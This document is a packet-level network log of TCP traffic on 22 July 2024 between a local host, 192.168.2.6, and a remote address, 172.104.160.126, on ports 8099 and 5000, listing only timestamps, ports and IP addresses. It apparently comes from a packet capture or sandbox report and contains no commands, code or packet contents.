Jul 22, 2024 15:57:49.823956966 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.823975086 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.823977947 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.823992968 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824016094 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.824039936 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.824595928 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824614048 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824630976 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824649096 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824676037 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824680090 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.824693918 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824712038 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824718952 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.824731112 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824742079 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.824748993 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824768066 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824785948 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824788094 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.824804068 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824811935 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.824827909 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824846029 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824858904 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.824863911 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824882984 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824888945 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.824902058 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.824956894 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.856837988 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.856856108 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.856869936 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.856883049 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.856899977 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.856910944 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.856915951 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.856931925 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.856954098 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.856976032 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.857063055 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857109070 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857168913 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857194901 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.857335091 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857347012 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857358932 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857394934 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.857431889 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.857436895 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857449055 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857492924 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857494116 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.857563019 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857575893 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857616901 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.857717037 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857729912 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857742071 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857753992 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857770920 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.857809067 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.857889891 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857902050 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857913971 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857924938 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857928038 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.857937098 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857947111 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857958078 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857969999 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857973099 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.857980967 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.857994080 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858020067 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.858035088 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.858242989 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858254910 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858267069 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858278990 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858290911 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858297110 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.858387947 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858426094 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.858426094 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.858465910 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858480930 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858493090 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858505011 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858515978 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858522892 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.858560085 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.858752966 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858772993 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858783960 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858795881 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858807087 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858818054 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858829021 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.858829975 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858841896 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858853102 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.858854055 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858865976 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858875990 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.858879089 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858891010 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.858897924 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.858925104 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.858942032 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.859364986 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859376907 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859388113 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859399080 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859411001 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859428883 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859431982 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.859441996 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859452963 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859463930 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859474897 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859474897 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.859488964 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859499931 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859500885 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.859512091 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859523058 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.859525919 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859538078 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859549046 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859561920 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859570980 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.859572887 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859586000 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859596014 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859606981 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.859608889 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.859632969 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.860322952 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860346079 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860363007 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860373974 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860387087 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860390902 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.860398054 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860409021 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860419989 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860428095 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.860430956 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860443115 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860450983 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.860454082 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860466957 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860476971 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.860477924 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860500097 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860511065 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860517979 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.860523939 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860536098 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860536098 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.860548019 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860559940 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860560894 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.860572100 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860583067 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860584021 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.860594988 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860605955 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.860625029 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.860665083 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.861146927 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861160040 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861172915 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861185074 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861197948 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861198902 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.861208916 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861219883 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861239910 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.861267090 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.861433029 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861445904 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861457109 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861469030 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861480951 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861491919 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861495972 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.861504078 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861516953 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.861524105 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.861547947 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.915177107 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.950232983 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950258017 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950270891 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950282097 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950324059 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.950359106 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.950368881 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950380087 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950392008 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950402021 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950412989 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950436115 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.950464010 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.950649023 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950659037 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950670004 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950680971 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950690031 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.950691938 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950701952 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950714111 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950723886 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950727940 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.950737000 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950748920 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.950767994 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.950799942 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.951029062 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951040983 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951051950 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951076984 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.951102972 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.951172113 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951181889 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951193094 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951203108 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951231003 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.951265097 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.951312065 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951323986 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951334000 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951344013 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951361895 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951364040 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.951373100 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951381922 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951391935 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951406956 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.951432943 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.951597929 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.951678991 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.979428053 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.984605074 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:52.071185112 CEST	49724	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:52.076380968 CEST	5000	49724	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:52.076466084 CEST	49724	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:52.076809883 CEST	49724	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:52.077079058 CEST	49724	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:52.081763983 CEST	5000	49724	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:52.082264900 CEST	5000	49724	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.008451939 CEST	5000	49724	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.018908024 CEST	5000	49724	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.018996000 CEST	49724	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.019237041 CEST	49724	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.019305944 CEST	5000	49724	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.019361019 CEST	49724	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.024209023 CEST	5000	49724	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.159665108 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.355437040 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.355564117 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.358400106 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.358978033 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.363620043 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.363902092 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.364407063 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.364435911 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.364464045 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.364480019 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.364512920 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.364542007 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.364562988 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.364573956 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.364593029 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.364622116 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.364640951 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.364671946 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.365605116 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.365633965 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.365701914 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.369072914 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.369152069 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.370095015 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.370189905 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.370234966 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.370261908 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.370290041 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.370297909 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.370316982 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.370325089 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.370352030 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.370376110 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.372976065 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.373125076 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.417864084 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.418014050 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.473700047 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.473938942 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.525583029 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.526026011 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.577707052 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.577826977 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.625463963 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.629018068 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.681649923 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.685175896 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.733553886 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.734694958 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.794332981 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.797012091 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.849548101 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.852940083 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.905445099 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.905519009 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.952346087 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.952601910 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:53.959949970 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.959981918 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.960246086 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.960273981 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.960300922 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.960326910 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.961888075 CEST	5000	49725	172.104.160.126	192.168.2.6
